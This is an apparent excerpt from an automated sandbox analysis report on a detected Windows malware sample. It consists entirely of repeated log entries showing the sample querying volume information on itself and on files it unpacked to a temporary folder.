Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76122 VolumeInformation	Jump to behavior
